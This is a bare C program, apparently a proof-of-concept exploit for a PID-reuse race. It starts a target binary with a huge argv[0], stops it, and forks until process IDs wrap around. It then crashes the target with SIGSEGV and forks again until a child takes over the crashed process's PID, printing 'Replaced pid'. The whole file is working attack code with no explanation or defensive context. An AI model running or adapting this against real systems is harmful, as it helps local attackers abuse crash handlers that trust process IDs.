#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv)
{
	char *program = argv[1];
	char argv0[0x20000];

	memset(argv0, 0x7f, sizeof(argv0));
	argv0[sizeof(argv0) - 1] = 0;
	*++argv = argv0;

	int pid;

retry:
	switch ((pid = fork())) {
	case -1:
		perror("fork");
		return 1;
	case 0:
		execv(program, argv);
		perror("execv");
		return 1;
	}

	usleep(random() % 1000);

	if (kill(pid, SIGSTOP)) {
		perror("kill");
		return 1;
	}

	int newpid, prevpid = 0, wraps = 0;
	while ((newpid = fork()) >= 0) {
		if (!newpid)
			return 0;
		wait(NULL);
		if (newpid < pid - (1 + random() % 20))
			break;
		if (newpid < prevpid)
			if (++wraps > 3)
				break;
		prevpid = newpid;
		if (newpid % 1000 == 0)
			fprintf(stderr, "Target pid %d, current pid %d\n", pid, newpid);
	}

	if (kill(pid, SIGSEGV) || kill(pid, SIGCONT)) {
		perror("kill");
		return 1;
	}

	if (random() & 1) {
		usleep(random() % 1000);

		if (kill(pid, SIGKILL)) {
			perror("kill");
			return 1;
		}
	}

	while ((newpid = fork()) >= 0) {
		if (!newpid)
			return 0;
		wait(NULL);
		if (newpid >= pid)
			break;
	}

	if (newpid != pid) {
		fprintf(stderr, "Target pid %d, current pid %d - missed target, retrying\n", pid, newpid);
		goto retry;
	}

	fprintf(stderr, "Replaced pid %d\n", pid);
	printf("%d\n", pid);

	return 0;
}